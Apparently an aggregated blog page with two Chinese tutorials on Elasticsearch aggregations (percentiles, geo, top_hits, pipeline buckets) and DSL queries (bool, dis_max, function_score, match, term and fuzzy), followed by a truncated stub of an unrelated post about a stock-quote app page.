1.8. 非单值分析:百分数型

1.8.1. percentiles 百分数范围

针对从聚合文档中提取的数值计算一个或多个百分位数。

GET latency/_search
{
  "size": 0,
  "aggs": {
    "load_time_outlier": {
      "percentiles": {
        "field": "load_time" 
      }
    }
  }
}

默认情况下,百分位度量标准将生成一定范围的百分位:[1,5,25,50,75,95,99]。

{
  ...

 "aggregations": {
    "load_time_outlier": {
      "values": {
        "1.0": 5.0,
        "5.0": 25.0,
        "25.0": 165.0,
        "50.0": 445.0,
        "75.0": 725.0,
        "95.0": 945.0,
        "99.0": 985.0
      }
    }
  }
}

1.8.2. percentile_ranks 百分数排行

根据从汇总文档中提取的数值计算一个或多个百分位等级。

GET latency/_search
{
  "size": 0,
  "aggs": {
    "load_time_ranks": {
      "percentile_ranks": {
        "field": "load_time",   
        "values": [ 500, 600 ]
      }
    }
  }
}

返回

{
  ...

 "aggregations": {
    "load_time_ranks": {
      "values": {
        "500.0": 90.01,
        "600.0": 100.0
      }
    }
  }
}

上述结果表示90.01%的页面加载在500ms内完成,而100%的页面加载在600ms内完成。

1.9. 非单值分析:地理位置型

1.9.1. geo_bounds Geo bounds

PUT /museums
{
  "mappings": {
    "properties": {
      "location": {
        "type": "geo_point"
      }
    }
  }
}

POST /museums/_bulk?refresh
{"index":{"_id":1}}
{"location": "52.374081,4.912350", "name": "NEMO Science Museum"}
{"index":{"_id":2}}
{"location": "52.369219,4.901618", "name": "Museum Het Rembrandthuis"}
{"index":{"_id":3}}
{"location": "52.371667,4.914722", "name": "Nederlands Scheepvaartmuseum"}
{"index":{"_id":4}}
{"location": "51.222900,4.405200", "name": "Letterenhuis"}
{"index":{"_id":5}}
{"location": "48.861111,2.336389", "name": "Musée du Louvre"}
{"index":{"_id":6}}
{"location": "48.860000,2.327000", "name": "Musée d'Orsay"}

POST /museums/_search?size=0
{
  "query": {
    "match": { "name": "musée" }
  },
  "aggs": {
    "viewport": {
      "geo_bounds": {
        "field": "location",    
        "wrap_longitude": true  
      }
    }
  }
}

上面的汇总展示了如何针对具有商店业务类型的所有文档计算位置字段的边界框

{
  ...
  "aggregations": {
    "viewport": {
      "bounds": {
        "top_left": {
          "lat": 48.86111099738628,
          "lon": 2.3269999679178
        },
        "bottom_right": {
          "lat": 48.85999997612089,
          "lon": 2.3363889567553997
        }
      }
    }
  }
}

1.9.2. geo_centroid Geo-centroid

PUT /museums
{
  "mappings": {
    "properties": {
      "location": {
        "type": "geo_point"
      }
    }
  }
}

POST /museums/_bulk?refresh
{"index":{"_id":1}}
{"location": "52.374081,4.912350", "city": "Amsterdam", "name": "NEMO Science Museum"}
{"index":{"_id":2}}
{"location": "52.369219,4.901618", "city": "Amsterdam", "name": "Museum Het Rembrandthuis"}
{"index":{"_id":3}}
{"location": "52.371667,4.914722", "city": "Amsterdam", "name": "Nederlands Scheepvaartmuseum"}
{"index":{"_id":4}}
{"location": "51.222900,4.405200", "city": "Antwerp", "name": "Letterenhuis"}
{"index":{"_id":5}}
{"location": "48.861111,2.336389", "city": "Paris", "name": "Musée du Louvre"}
{"index":{"_id":6}}
{"location": "48.860000,2.327000", "city": "Paris", "name": "Musée d'Orsay"}

POST /museums/_search?size=0
{
  "aggs": {
    "centroid": {
      "geo_centroid": {
        "field": "location" 
      }
    }
  }
}

上面的汇总显示了如何针对所有具有犯罪类型的盗窃文件计算位置字段的质心。

{
  ...
  "aggregations": {
    "centroid": {
      "location": {
        "lat": 51.00982965203002,
        "lon": 3.9662131341174245
      },
      "count": 6
    }
  }
}

1.9.3. geo_line Geo-Line

PUT test
{
    "mappings": {
        "dynamic": "strict",
        "_source": {
            "enabled": false
        },
        "properties": {
            "my_location": {
                "type": "geo_point"
            },
            "group": {
                "type": "keyword"
            },
            "@timestamp": {
                "type": "date"
            }
        }
    }
}

POST /test/_bulk?refresh
{"index": {}}
{"my_location": {"lat":37.3450570, "lon": -122.0499820}, "@timestamp": "2013-09-06T16:00:36"}
{"index": {}}
{"my_location": {"lat": 37.3451320, "lon": -122.0499820}, "@timestamp": "2013-09-06T16:00:37Z"}
{"index": {}}
{"my_location": {"lat": 37.349283, "lon": -122.0505010}, "@timestamp": "2013-09-06T16:00:37Z"}

POST /test/_search?filter_path=aggregations
{
  "aggs": {
    "line": {
      "geo_line": {
        "point": {"field": "my_location"},
        "sort": {"field": "@timestamp"}
      }
    }
  }
}

将存储桶中的所有geo_point值聚合到由所选排序字段排序的LineString中。

{
  "aggregations": {
    "line": {
      "type" : "Feature",
      "geometry" : {
        "type" : "LineString",
        "coordinates" : [
          [
            -122.049982,
            37.345057
          ],
          [
            -122.050501,
            37.349283
          ],
          [
            -122.049982,
            37.345132
          ]
        ]
      },
      "properties" : {
        "complete" : true
      }
    }
  }
}

1.10. 非单值分析:Top型

1.10.1. top_hits 分桶后的top hits

POST /sales/_search?size=0
{
  "aggs": {
    "top_tags": {
      "terms": {
        "field": "type",
        "size": 3
      },
      "aggs": {
        "top_sales_hits": {
          "top_hits": {
            "sort": [
              {
                "date": {
                  "order": "desc"
                }
              }
            ],
            "_source": {
              "includes": [ "date", "price" ]
            },
            "size": 1
          }
        }
      }
    }
  }
}

返回

{
  ...
  "aggregations": {
    "top_tags": {
       "doc_count_error_upper_bound": 0,
       "sum_other_doc_count": 0,
       "buckets": [
          {
             "key": "hat",
             "doc_count": 3,
             "top_sales_hits": {
                "hits": {
                   "total" : {
                       "value": 3,
                       "relation": "eq"
                   },
                   "max_score": null,
                   "hits": [
                      {
                         "_index": "sales",
                         "_type": "_doc",
                         "_id": "AVnNBmauCQpcRyxw6ChK",
                         "_source": {
                            "date": "2015/03/01 00:00:00",
                            "price": 200
                         },
                         "sort": [
                            1425168000000
                         ],
                         "_score": null
                      }
                   ]
                }
             }
          },
          {
             "key": "t-shirt",
             "doc_count": 3,
             "top_sales_hits": {
                "hits": {
                   "total" : {
                       "value": 3,
                       "relation": "eq"
                   },
                   "max_score": null,
                   "hits": [
                      {
                         "_index": "sales",
                         "_type": "_doc",
                         "_id": "AVnNBmauCQpcRyxw6ChL",
                         "_source": {
                            "date": "2015/03/01 00:00:00",
                            "price": 175
                         },
                         "sort": [
                            1425168000000
                         ],
                         "_score": null
                      }
                   ]
                }
             }
          },
          {
             "key": "bag",
             "doc_count": 1,
             "top_sales_hits": {
                "hits": {
                   "total" : {
                       "value": 1,
                       "relation": "eq"
                   },
                   "max_score": null,
                   "hits": [
                      {
                         "_index": "sales",
                         "_type": "_doc",
                         "_id": "AVnNBmatCQpcRyxw6ChH",
                         "_source": {
                            "date": "2015/01/01 00:00:00",
                            "price": 150
                         },
                         "sort": [
                            1420070400000
                         ],
                         "_score": null
                      }
                   ]
                }
             }
          }
       ]
    }
  }
}

1.10.2. top_metrics

POST /test/_bulk?refresh
{"index": {}}
{"s": 1, "m": 3.1415}
{"index": {}}
{"s": 2, "m": 1.0}
{"index": {}}
{"s": 3, "m": 2.71828}
POST /test/_search?filter_path=aggregations
{
  "aggs": {
    "tm": {
      "top_metrics": {
        "metrics": {"field": "m"},
        "sort": {"s": "desc"}
      }
    }
  }
}

返回

{
  "aggregations": {
    "tm": {
      "top": [ {"sort": [3], "metrics": {"m": 2.718280076980591 } } ]
    }
  }
}

2. 聚合查询之Pipline

2.1. 责任链模式

管道机制在设计模式上属于责任链模式,责任链模式: 通过责任链模式, 你可以为某个请求创建一个对象链. 每个对象依序检查此请求并对其进行处理或者将它传给链中的下一个对象。

2.2. FilterChain

在软件开发的常接触的责任链模式是FilterChain,它体现在很多软件设计中:

  • 比如Spring Security框架中

  • 比如HttpServletRequest处理的过滤器中

当一个request过来的时候,需要对这个request做一系列的加工,使用责任链模式可以使每个加工组件化,减少耦合。也可以使用在当一个request过来的时候,需要找到合适的加工方式。当一个加工方式不适合这个request的时候,传递到下一个加工方法,该加工方式再尝试对request加工。

网上找了图,这里我们后文将通过Tomcat请求处理向你阐述。

3. ElasticSearch设计管道机制

  • 父级 父级聚合的输出提供了一组管道聚合,它可以计算新的存储桶或新的聚合以添加到现有存储桶中。
  • 兄弟 同级聚合的输出提供的管道聚合,并且能够计算与该同级聚合处于同一级别的新聚合。

根据功能设计的意图

比如前置聚合可能是Bucket聚合,后置的可能是基于Metric聚合,那么它就可以成为一类管道

进而引出了:xxx bucket(是不是很容易理解了 @pdai)

  • Bucket聚合 -> Metric聚合

: bucket聚合的结果,成为下一步metric聚合的输入

  • Average bucket
  • Min bucket
  • Max bucket
  • Sum bucket
  • Stats bucket
  • Extended stats bucket

3.1. Average bucket 聚合

POST _search
{
  "size": 0,
  "aggs": {
    "sales_per_month": {
      "date_histogram": {
        "field": "date",
        "calendar_interval": "month"
      },
      "aggs": {
        "sales": {
          "sum": {
            "field": "price"
          }
        }
      }
    },
    "avg_monthly_sales": {
// tag::avg-bucket-agg-syntax[]               
      "avg_bucket": {
        "buckets_path": "sales_per_month>sales",
        "gap_policy": "skip",
        "format": "#,##0.00;(#,##0.00)"
      }
// end::avg-bucket-agg-syntax[]               
    }
  }
}
  • 嵌套的bucket聚合:聚合出按月价格的直方图
  • Metic聚合:对上面的聚合再求平均值。

字段类型

  • buckets_path:指定聚合的名称,支持多级嵌套聚合。
  • gap_policy 当管道聚合遇到不存在的值,有点类似于term等聚合的(missing)时所采取的策略,可选择值为:skip、insert_zeros。
  • skip:此选项将丢失的数据视为bucket不存在。它将跳过桶并使用下一个可用值继续计算。
  • format 用于格式化聚合桶的输出(key)。

输出结果如下

{
  "took": 11,
  "timed_out": false,
  "_shards": ...,
  "hits": ...,
  "aggregations": {
    "sales_per_month": {
      "buckets": [
        {
          "key_as_string": "2015/01/01 00:00:00",
          "key": 1420070400000,
          "doc_count": 3,
          "sales": {
            "value": 550.0
          }
        },
        {
          "key_as_string": "2015/02/01 00:00:00",
          "key": 1422748800000,
          "doc_count": 2,
          "sales": {
            "value": 60.0
          }
        },
        {
          "key_as_string": "2015/03/01 00:00:00",
          "key": 1425168000000,
          "doc_count": 2,
          "sales": {
            "value": 375.0
          }
        }
      ]
    },
    "avg_monthly_sales": {
      "value": 328.33333333333333,
      "value_as_string": "328.33"
    }
  }
}

3.2. Stats bucket 聚合

进一步的stat bucket也很容易理解了

POST /sales/_search
{
  "size": 0,
  "aggs": {
    "sales_per_month": {
      "date_histogram": {
        "field": "date",
        "calendar_interval": "month"
      },
      "aggs": {
        "sales": {
          "sum": {
            "field": "price"
          }
        }
      }
    },
    "stats_monthly_sales": {
      "stats_bucket": {
        "buckets_path": "sales_per_month>sales" 
      }
    }
  }
}

返回

{
   "took": 11,
   "timed_out": false,
   "_shards": ...,
   "hits": ...,
   "aggregations": {
      "sales_per_month": {
         "buckets": [
            {
               "key_as_string": "2015/01/01 00:00:00",
               "key": 1420070400000,
               "doc_count": 3,
               "sales": {
                  "value": 550.0
               }
            },
            {
               "key_as_string": "2015/02/01 00:00:00",
               "key": 1422748800000,
               "doc_count": 2,
               "sales": {
                  "value": 60.0
               }
            },
            {
               "key_as_string": "2015/03/01 00:00:00",
               "key": 1425168000000,
               "doc_count": 2,
               "sales": {
                  "value": 375.0
               }
            }
         ]
      },
      "stats_monthly_sales": {
         "count": 3,
         "min": 60.0,
         "max": 550.0,
         "avg": 328.3333333333333,
         "sum": 985.0
      }
   }
}

博文参考

by 庄小焱 at January 23, 2025 04:08 PM

Elasticsearch——Elasticsearch查询实战

摘要

本文主要介绍了Elasticsearch查询实战,包括模糊匹配的编辑距离概念以及具体的查询示例。还涉及了DSL查询中的复合查询、Match类型查询、Term查询等多种查询方式,并提供了相关的官方文档参考。

1. DSL查询之复合查询

我们使用bool查询来组合多个查询条件。比如之前介绍的语句,这种查询就是本文要介绍的复合查询,并且bool查询只是复合查询一种。

GET /bank/_search
{
  "query": {
    "bool": {
      "must": [
        { "match": { "age": "40" } }
      ],
      "must_not": [
        { "match": { "state": "ID" } }
      ]
    }
  }
}

1.1. bool query(布尔查询)

通过布尔逻辑将较小的查询组合成较大的查询。Bool查询语法有以下特点

  • 子查询可以任意顺序出现。
  • 可以嵌套多个查询,包括bool查询。
  • 如果bool查询中没有must条件,should中必须至少满足一条才会返回结果。

bool查询包含四种操作符,分别是must,should,must_not,filter。他们均是一种数组,数组里面是对应的判断条件。

  • must: 必须匹配。贡献算分
  • must_not:过滤子句,必须不能匹配,但不贡献算分
  • should: 选择性匹配,至少满足一条。贡献算分
  • filter: 过滤子句,必须匹配,但不贡献算分
POST _search
{
  "query": {
    "bool" : {
      "must" : {
        "term" : { "user.id" : "kimchy" }
      },
      "filter": {
        "term" : { "tags" : "production" }
      },
      "must_not" : {
        "range" : {
          "age" : { "gte" : 10, "lte" : 20 }
        }
      },
      "should" : [
        { "term" : { "tags" : "env1" } },
        { "term" : { "tags" : "deployed" } }
      ],
      "minimum_should_match" : 1,
      "boost" : 1.0
    }
  }
}

在filter元素下指定的查询对评分没有影响 , 评分返回为0。分数仅受已指定查询的影响。

GET _search
{
  "query": {
    "bool": {
      "filter": {
        "term": {
          "status": "active"
        }
      }
    }
  }
}

这个例子查询查询为所有文档分配0分,因为没有指定评分查询。

GET _search
{
  "query": {
    "bool": {
      "must": {
        "match_all": {}
      },
      "filter": {
        "term": {
          "status": "active"
        }
      }
    }
  }
}

此bool查询具有match_all查询,该查询为所有文档指定1.0分。

GET /_search
{
  "query": {
    "bool": {
      "should": [
        { "match": { "name.first": { "query": "shay", "_name": "first" } } },
        { "match": { "name.last": { "query": "banon", "_name": "last" } } }
      ],
      "filter": {
        "terms": {
          "name.last": [ "banon", "kimchy" ],
          "_name": "test"
        }
      }
    }
  }
}

每个query条件都可以有一个_name属性,用来追踪搜索出的数据到底match了哪个条件。

1.2. boosting query(提高查询)

不同于bool查询,bool查询中只要一个子查询条件不匹配那么搜索的数据就不会出现。而boosting query则是降低显示的权重/优先级(即score)。

比如搜索逻辑是 name = ‘apple’ and type =‘fruit’,对于只满足部分条件的数据,不是不显示,而是降低显示的优先级(即score)。

POST /test-dsl-boosting/_bulk
{ "index": { "_id": 1 }}
{ "content":"Apple Mac" }
{ "index": { "_id": 2 }}
{ "content":"Apple Fruit" }
{ "index": { "_id": 3 }}
{ "content":"Apple employee like Apple Pie and Apple Juice" }

对匹配pie的做降级显示处理

GET /test-dsl-boosting/_search
{
  "query": {
    "boosting": {
      "positive": {
        "term": {
          "content": "apple"
        }
      },
      "negative": {
        "term": {
          "content": "pie"
        }
      },
      "negative_boost": 0.5
    }
  }
}

执行结果如下:

1.3. constant_score(固定分数查询)

查询某个条件时,固定的返回指定的score;显然当不需要计算score时,只需要filter条件即可,因为filter context忽略score。

首先创建数据

POST /test-dsl-constant/_bulk
{ "index": { "_id": 1 }}
{ "content":"Apple Mac" }
{ "index": { "_id": 2 }}
{ "content":"Apple Fruit" }

查询apple

GET /test-dsl-constant/_search
{
  "query": {
    "constant_score": {
      "filter": {
        "term": { "content": "apple" }
      },
      "boost": 1.2
    }
  }
}

执行结果如下

1.4. dis_max(最佳匹配查询)

分离最大化查询(Disjunction Max Query)指的是: 将任何与任一查询匹配的文档作为结果返回,但只将最佳匹配的评分作为查询的评分结果返回 。

假设有个网站允许用户搜索博客的内容,以下面两篇博客内容文档为例:

POST /test-dsl-dis-max/_bulk
{ "index": { "_id": 1 }}
{"title": "Quick brown rabbits","body":  "Brown rabbits are commonly seen."}
{ "index": { "_id": 2 }}
{"title": "Keeping pets healthy","body":  "My quick brown fox eats rabbits on a regular basis."}

用户输入词组 “Brown fox” 然后点击搜索按钮。事先,我们并不知道用户的搜索项是会在 title 还是在 body 字段中被找到,但是,用户很有可能是想搜索相关的词组。用肉眼判断,文档 2 的匹配度更高,因为它同时包括要查找的两个词:

现在运行以下 bool 查询:

GET /test-dsl-dis-max/_search
{
    "query": {
        "bool": {
            "should": [
                { "match": { "title": "Brown fox" }},
                { "match": { "body":  "Brown fox" }}
            ]
        }
    }
}

为了理解导致这样的原因,需要看下如何计算评分的

  • should 条件的计算分数
GET /test-dsl-dis-max/_search
{
    "query": {
        "bool": {
            "should": [
                { "match": { "title": "Brown fox" }},
                { "match": { "body":  "Brown fox" }}
            ]
        }
    }
}

要计算上述分数,首先要计算match的分数

  1. 第一个match 中 brown的分数
  • doc 1 分数 = 0.6931471

  1. title中没有fox,所以第一个match 中 brown fox 的分数 = brown分数 + 0 = 0.6931471
  • doc 1 分数 = 0.6931471 + 0 = 0.6931471

  1. 第二个 match 中 brown分数
  • doc 1 分数 = 0.21110919
  • doc 2 分数 = 0.160443

  1. 第二个 match 中 fox分数
  • doc 1 分数 = 0
  • doc 2 分数 = 0.60996956

  1. 所以第二个 match 中 brown fox分数 = brown分数 + fox分数
  • doc 1 分数 = 0.21110919 + 0 = 0.21110919,
  • doc 2 分数 = 0.160443 + 0.60996956 = 0.77041256

  1. 所以整个语句分数, should分数 = 第一个match + 第二个match分数
  • doc 1 分数 = 0.6931471 + 0.21110919 = 0.90425634
  • doc 2 分数 = 0 + 0.77041256 = 0.77041256

  • 引入了dis_max

不使用 bool 查询,可以使用 dis_max 即分离 最大化查询(Disjunction Max Query) 。分离(Disjunction)的意思是 或(or) ,这与可以把结合(conjunction)理解成 与(and) 相对应。分离最大化查询(Disjunction Max Query)指的是: 将任何与任一查询匹配的文档作为结果返回,但只将最佳匹配的评分作为查询的评分结果返回 :

GET /test-dsl-dis-max/_search
{
    "query": {
        "dis_max": {
            "queries": [
                { "match": { "title": "Brown fox" }},
                { "match": { "body":  "Brown fox" }}
            ],
            "tie_breaker": 0
        }
    }
}

0.77041256怎么来的呢? 下文给你解释它如何计算出来的。

  • dis_max 条件的计算分数

分数 = 第一个匹配条件分数 + tie_breaker * 第二个匹配的条件的分数 …

GET /test-dsl-dis-max/_search
{
    "query": {
        "dis_max": {
            "queries": [
                { "match": { "title": "Brown fox" }},
                { "match": { "body":  "Brown fox" }}
            ],
            "tie_breaker": 0
        }
    }
}

doc 1 分数 = 0.6931471 + 0.21110919 * 0 = 0.6931471

doc 2 分数 = 0.77041256 = 0.77041256

这样你就能理解通过dis_max将doc 2 置前了, 当然这里如果缺省tie_breaker字段的话默认就是0,你还可以设置它的比例(在0到1之间)来控制排名。(显然值为1时和should查询是一致的)

1.5. function_score(函数查询)

简而言之就是用自定义function的方式来计算_score。可以ES有哪些自定义function呢?

  • script_score 使用自定义的脚本来完全控制分值计算逻辑。如果你需要以上预定义函数之外的功能,可以根据需要通过脚本进行实现。
  • weight 对每份文档适用一个简单的提升,且该提升不会被归约:当weight为2时,结果为2 * _score。
  • random_score 使用一致性随机分值计算来对每个用户采用不同的结果排序方式,对相同用户仍然使用相同的排序方式。
  • field_value_factor 使用文档中某个字段的值来改变_score,比如将受欢迎程度或者投票数量考虑在内。
  • 衰减函数(Decay Function) - linearexpgauss

以最简单的random_score 为例

GET /_search
{
  "query": {
    "function_score": {
      "query": { "match_all": {} },
      "boost": "5",
      "random_score": {}, 
      "boost_mode": "multiply"
    }
  }
}

进一步的,它还可以使用上述function的组合(functions)

GET /_search
{
  "query": {
    "function_score": {
      "query": { "match_all": {} },
      "boost": "5", 
      "functions": [
        {
          "filter": { "match": { "test": "bar" } },
          "random_score": {}, 
          "weight": 23
        },
        {
          "filter": { "match": { "test": "cat" } },
          "weight": 42
        }
      ],
      "max_boost": 42,
      "score_mode": "max",
      "boost_mode": "multiply",
      "min_score": 42
    }
  }
}

script_score 可以使用如下方式

GET /_search
{
  "query": {
    "function_score": {
      "query": {
        "match": { "message": "elasticsearch" }
      },
      "script_score": {
        "script": {
          "source": "Math.log(2 + doc['my-int'].value)"
        }
      }
    }
  }
}

2. Match类型

2.1. match 查询的步骤

在(指定字段查询)中我们已经介绍了match查询。

PUT /test-dsl-match
{ "settings": { "number_of_shards": 1 }} 

POST /test-dsl-match/_bulk
{ "index": { "_id": 1 }}
{ "title": "The quick brown fox" }
{ "index": { "_id": 2 }}
{ "title": "The quick brown fox jumps over the lazy dog" }
{ "index": { "_id": 3 }}
{ "title": "The quick brown fox jumps over the quick dog" }
{ "index": { "_id": 4 }}
{ "title": "Brown fox brown dog" }
  • 查询数据
GET /test-dsl-match/_search
{
    "query": {
        "match": {
            "title": "QUICK!"
        }
    }
}

Elasticsearch 执行上面这个 match 查询的步骤是:

  1. 检查字段类型 :标题 title 字段是一个 string 类型( analyzed )已分析的全文字段,这意味着查询字符串本身也应该被分析。
  2. 分析查询字符串:将查询的字符串 QUICK! 传入标准分析器中,输出的结果是单个项 quick 。因为只有一个单词项,所以 match 查询执行的是单个底层 term 查询。
  3. 查找匹配文档 :用 term 查询在倒排索引中查找 quick 然后获取一组包含该项的文档,本例的结果是文档:1、2 和 3 。
  4. 为每个文档评分 :用 term 查询计算每个文档相关度评分 _score ,这是种将词频(term frequency,即词 quick 在相关文档的 title 字段中出现的频率)和反向文档频率(inverse document frequency,即词 quick 在所有文档的 title 字段中出现的频率),以及字段的长度(即字段越短相关度越高)相结合的计算方式。

验证结果

2.2. match多个词深入

我们在上文中复合查询中已经使用了match多个词,比如“Quick pets”; 这里我们通过例子带你更深入理解match多个词

  • match多个词的本质

查询多个词”BROWN DOG!”

GET /test-dsl-match/_search
{
    "query": {
        "match": {
            "title": "BROWN DOG"
        }
    }
}

因为 match 查询必须查找两个词( [“brown”,“dog”] ),它在内部实际上先执行两次 term 查询,然后将两次查询的结果合并作为最终结果输出。为了做到这点,它将两个 term 查询包入一个 bool 查询中,

所以上述查询的结果,和如下语句查询结果是等同的

GET /test-dsl-match/_search
{
  "query": {
    "bool": {
      "should": [
        {
          "term": {
            "title": "brown"
          }
        },
        {
          "term": {
            "title": "dog"
          }
        }
      ]
    }
  }
}

  • match多个词的逻辑

上面等同于should(任意一个满足),是因为 match还有一个operator参数,默认是or, 所以对应的是should。所以上述查询也等同于

GET /test-dsl-match/_search
{
  "query": {
    "match": {
      "title": {
        "query": "BROWN DOG",
        "operator": "or"
      }
    }
  }
}

那么我们如果是需要and操作呢,即同时满足呢?

GET /test-dsl-match/_search
{
  "query": {
    "match": {
      "title": {
        "query": "BROWN DOG",
        "operator": "and"
      }
    }
  }
}

等同于

GET /test-dsl-match/_search
{
  "query": {
    "bool": {
      "must": [
        {
          "term": {
            "title": "brown"
          }
        },
        {
          "term": {
            "title": "dog"
          }
        }
      ]
    }
  }
}

2.3. 控制match的匹配精度

如果用户给定 3 个查询词,想查找只包含其中 2 个的文档,该如何处理?将 operator 操作符参数设置成 and 或者 or 都是不合适的。

2.3.1. minimum_should_match 最小匹配参数

这让我们可以指定必须匹配的词项数用来表示一个文档是否相关。我们可以将其设置为某个具体数字,更常用的做法是将其设置为一个百分数,因为我们无法控制用户搜索时输入的单词数量:

GET /test-dsl-match/_search
{
  "query": {
    "match": {
      "title": {
        "query":                "quick brown dog",
        "minimum_should_match": "75%"
      }
    }
  }
}

当给定百分比的时候, minimum_should_match 会做合适的事情:在之前三词项的示例中, 75% 会自动被截断成 66.6% ,即三个里面两个词。无论这个值设置成什么,至少包含一个词项的文档才会被认为是匹配的。

当然也等同于

GET /test-dsl-match/_search
{
  "query": {
    "bool": {
      "should": [
        { "match": { "title": "quick" }},
        { "match": { "title": "brown"   }},
        { "match": { "title": "dog"   }}
      ],
      "minimum_should_match": 2 
    }
  }
}

2.3.2. match_pharse

match_phrase在前文中我们已经有了解,我们再看下另外一个例子。

GET /test-dsl-match/_search
{
  "query": {
    "match_phrase": {
      "title": {
        "query": "quick brown"
      }
    }
  }
}

很多人对它仍然有误解的,比如如下例子:

GET /test-dsl-match/_search
{
  "query": {
    "match_phrase": {
      "title": {
        "query": "quick brown f"
      }
    }
  }
}

这样的查询是查不出任何数据的,因为前文中我们知道了match本质上是对term组合,match_phrase本质是连续的term的查询,所以f并不是一个分词,不满足term查询,所以最终查不出任何内容了。

2.3.3. match_pharse_prefix

那有没有可以查询出quick brown f的方式呢?ELasticSearch在match_phrase基础上提供了一种可以查最后一个词项是前缀的方法,这样就可以查询quick brown f

GET /test-dsl-match/_search
{
  "query": {
    "match_phrase_prefix": {
      "title": {
        "query": "quick brown f"
      }
    }
  }
}

(ps: prefix的意思不是整个text的开始匹配,而是最后一个词项满足term的prefix查询而已)

2.3.4. match_bool_prefix

除了match_phrase_prefix,ElasticSearch还提供了match_bool_prefix查询

GET /test-dsl-match/_search
{
  "query": {
    "match_bool_prefix": {
      "title": {
        "query": "quick brown f"
      }
    }
  }
}

它们两种方式有啥区别呢?match_bool_prefix本质上可以转换为:

GET /test-dsl-match/_search
{
  "query": {
    "bool" : {
      "should": [
        { "term": { "title": "quick" }},
        { "term": { "title": "brown" }},
        { "prefix": { "title": "f"}}
      ]
    }
  }
}

所以这样你就能理解,match_bool_prefix查询中的quick,brown,f是无序的。

2.3.5. multi_match

如果我们期望一次对多个字段查询,怎么办呢?ElasticSearch提供了multi_match查询的方式

{
  "query": {
    "multi_match" : {
      "query":    "Will Smith",
      "fields": [ "title", "*_name" ] 
    }
  }
}

*表示前缀匹配字段。

2.4. query string类型

2.4.1. query_string

此查询使用语法根据运算符(例如AND或)来解析和拆分提供的查询字符串NOT。然后查询在返回匹配的文档之前独立分析每个拆分的文本。

可以使用该query_string查询创建一个复杂的搜索,其中包括通配符,跨多个字段的搜索等等。尽管用途广泛,但查询是严格的,如果查询字符串包含任何无效语法,则返回错误。

例如:

GET /test-dsl-match/_search
{
  "query": {
    "query_string": {
      "query": "(lazy dog) OR (brown dog)",
      "default_field": "title"
    }
  }
}

这里查询结果,你需要理解本质上查询这四个分词(term)or的结果而已,所以doc 3和4也在其中

2.4.2. query_string_simple

该查询使用一种简单的语法来解析提供的查询字符串并将其拆分为基于特殊运算符的术语。然后查询在返回匹配的文档之前独立分析每个术语。

尽管其语法比query_string查询更受限制 ,但simple_query_string 查询不会针对无效语法返回错误。而是,它将忽略查询字符串的任何无效部分

举例:

GET /test-dsl-match/_search
{
  "query": {
    "simple_query_string" : {
        "query": ""over the" + (lazy | quick) + dog",
        "fields": ["title"],
        "default_operator": "and"
    }
  }
}

2.5. Interval类型

Intervals是时间间隔的意思,本质上将多个规则按照顺序匹配。

比如:

GET /test-dsl-match/_search
{
  "query": {
    "intervals" : {
      "title" : {
        "all_of" : {
          "ordered" : true,
          "intervals" : [
            {
              "match" : {
                "query" : "quick",
                "max_gaps" : 0,
                "ordered" : true
              }
            },
            {
              "any_of" : {
                "intervals" : [
                  { "match" : { "query" : "jump over" } },
                  { "match" : { "query" : "quick dog" } }
                ]
              }
            }
          ]
        }
      }
    }
  }
}

因为interval之间是可以组合的,所以它可以表现的很复杂。

3. Term查询

很多比较常用,也不难,就是需要结合实例理解。这里综合官方文档的内容,我设计一个测试场景的数据,以覆盖所有例子。

准备数据

PUT /test-dsl-term-level
{
  "mappings": {
    "properties": {
      "name": {
        "type": "keyword"
      },
      "programming_languages": {
        "type": "keyword"
      },
      "required_matches": {
        "type": "long"
      }
    }
  }
}

POST /test-dsl-term-level/_bulk
{ "index": { "_id": 1 }}
{"name": "Jane Smith", "programming_languages": [ "c++", "java" ], "required_matches": 2}
{ "index": { "_id": 2 }}
{"name": "Jason Response", "programming_languages": [ "java", "php" ], "required_matches": 2}
{ "index": { "_id": 3 }}
{"name": "Dave Pdai", "programming_languages": [ "java", "c++", "php" ], "required_matches": 3, "remarks": "hello world"}

3.1. 字段是否存在:exist

由于多种原因,文档字段的索引值可能不存在:

  • 源JSON中的字段是null或[]
  • 该字段已”index” : false在映射中设置
  • 字段值的长度超出ignore_above了映射中的设置
  • 字段值格式错误,并且ignore_malformed已在映射中定义

所以exist表示查找是否存在字段。

3.2. id查询:ids

ids 即对id查找

GET /test-dsl-term-level/_search
{
  "query": {
    "ids": {
      "values": [3, 1]
    }
  }
}

3.3. 前缀:prefix

通过前缀查找某个字段

GET /test-dsl-term-level/_search
{
  "query": {
    "prefix": {
      "name": {
        "value": "Jan"
      }
    }
  }
}

3.4. 分词匹配:term

前文最常见的根据分词查询

GET /test-dsl-term-level/_search
{
  "query": {
    "term": {
      "programming_languages": "php"
    }
  }
}

3.5. 多个分词匹配:terms

按照读个分词term匹配,它们是or的关系

GET /test-dsl-term-level/_search
{
  "query": {
    "terms": {
      "programming_languages": ["php","c++"]
    }
  }
}

3.6. 按某个数字字段分词匹配:term set

设计这种方式查询的初衷是用文档中的数字字段动态匹配查询满足term的个数

GET /test-dsl-term-level/_search
{
  "query": {
    "terms_set": {
      "programming_languages": {
        "terms": [ "java", "php" ],
        "minimum_should_match_field": "required_matches"
      }
    }
  }
}

3.7. 通配符:wildcard

通配符匹配,比如*

GET /test-dsl-term-level/_search
{
  "query": {
    "wildcard": {
      "name": {
        "value": "D*ai",
        "boost": 1.0,
        "rewrite": "constant_score"
      }
    }
  }
}

3.8. 范围:range

常常被用在数字或者日期范围的查询

GET /test-dsl-term-level/_search
{
  "query": {
    "range": {
      "required_matches": {
        "gte": 3,
        "lte": 4
      }
    }
  }
}

3.9. 正则:regexp

通过[正则表达式]查询

以”Jan”开头的name字段

GET /test-dsl-term-level/_search
{
  "query": {
    "regexp": {
      "name": {
        "value": "Ja.*",
        "case_insensitive": true
      }
    }
  }
}

3.10. 模糊匹配:fuzzy

官方文档对模糊匹配:编辑距离是将一个术语转换为另一个术语所需的一个字符更改的次数。这些更改可以包括:

  • 更改字符(box→ fox)
  • 删除字符(black→ lack)
  • 插入字符(sic→ sick)
  • 转置两个相邻字符(act→ cat)
GET /test-dsl-term-level/_search
{
  "query": {
    "fuzzy": {
      "remarks": {
        "value": "hell"
      }
    }
  }
}

博文参考

by 庄小焱 at January 23, 2025 04:06 PM

juejin android

股票APP中如何实现一个灵活可维护性强的股票报价页面?

背景:

